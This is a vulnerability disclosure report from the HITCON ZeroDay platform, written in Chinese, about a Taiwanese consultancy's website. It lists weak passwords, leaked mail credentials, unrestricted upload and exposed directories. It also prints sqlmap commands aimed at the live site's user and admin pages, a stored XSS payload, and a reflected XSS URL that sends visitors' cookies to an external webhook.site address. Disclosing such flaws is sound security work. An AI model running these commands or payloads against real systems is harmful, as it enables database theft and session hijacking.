松誼管理 sqli、弱密碼、SXSS、目錄權限控管失效...等多處弱點 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2024-01258
  •  發信 Vendor: GPM台灣松誼管理顧問股份有限公司
  • Title: 松誼管理 sqli、弱密碼、SXSS、目錄權限控管失效...等多處弱點
  • Introduction: sqli、弱密碼、SXSS、目錄權限控管失效...等多處弱點

處理狀態

目前狀態

公開
Last Update : 2024/12/08
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2024/10/08 04:10:35 : 新提交 (由 zer2 更新此狀態)
  • 2024/10/08 04:13:20 : 新提交 (由 zer2 更新此狀態)
  • 2024/10/08 04:16:26 : 新提交 (由 zer2 更新此狀態)
  • 2024/10/08 04:21:11 : 新提交 (由 zer2 更新此狀態)
  • 2024/10/08 04:21:49 : 新提交 (由 zer2 更新此狀態)
  • 2024/10/09 17:32:59 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/09 21:38:10 : 新提交 (由 zer2 更新此狀態)
  • 2024/10/10 00:01:25 : 新提交 (由 zer2 更新此狀態)
  • 2024/10/14 18:56:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/18 14:46:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/10/18 14:46:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2024/12/08 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2024-01258
  • 通報者:zer2 (zer2)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.gpm.com.tw/manager/login.php
https://gpm.com.tw/index.php?do=pages&id=1
https://www.gpm.com.tw/manager/index.php?type=webads&cn=webads&do=form&id=1
https://www.gpm.com.tw/pma/pma.php?server=0.0.0.0&username=gpm
https://www.gpm.com.tw/cache
https://gpm.com.tw/library/htmltopdf/output/
https://gpm.com.tw/upload/global/
https://gpm.com.tw/index.php?do=webmsg
https://gpm.com.tw/shops/login.php

敘述

  • 管理頁面弱密碼
  • mail server 帳密洩漏
    • 並且在管理頁面中可找到 mail server 帳號密碼以及網址
    • 可登入 web mail(mail.gpm.com.tw)
    • 圖示:
  • 使用者頁面 sqli 導致資料洩漏
    • sqlmap -u "https://gpm.com.tw/index.php?do=pages&id=1" -batch --dbs
  • 管理員頁面 sqli 導致資料洩漏
    • sqlmap -u "https://www.gpm.com.tw/manager/index.php?type=webads&cn=webads&do=form&id=1" --cookie="PHPSESSID=管理員PHPSESSID;mid=管理員mid" -p "id" --batch -dbs
  • sql 管理頁面弱密碼
  • 使用者測試資料洩漏
  • 管理頁面上傳圖片的功能,沒限制檔案類型,可上傳任意檔案
  • 留言頁面 sxss(https://gpm.com.tw/index.php?do=webmsg
    • 在留言內文輸入<img src=1 href=1 onerror="javascript:alert(1)"></img>
    • 圖示:
    • 管理員看留言內容時會被觸發,可導致管理員登入狀態被竊取
    • 圖示:
  • 企業管理平台 RXSS(https://gpm.com.tw/shops/login.php
    • 登入時的錯誤訊息可執行任意 script,導致使用者 cookie 外流
    • https://gpm.com.tw/shops/login.php?do=login&errmsg=</script><script>var i=new Image(); i.src=["https://webhook.site/6d511e27-9f3c-4ee6-95b7-13c1adfbbcc8?cookie=", document.cookie].join('');</script>
  • 在留言紀錄中發現入侵痕跡
    • 圖示:

修補建議

- 修改管理員帳號密碼,勿使用預設密碼,建議使用大小寫英文加上數字符號等組合,長度至少 8 位數
- 設置各目錄瀏覽權限
- 限制管理員頁面圖片上傳部分僅允許圖片格式
- 查詢功能使用參數化查詢,防止 sql 注入攻擊
- 管理員頁面限制特定 IP 或是公司內部訪問
- SMTP 設定頁面不要顯示 信箱用戶名以及密碼

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;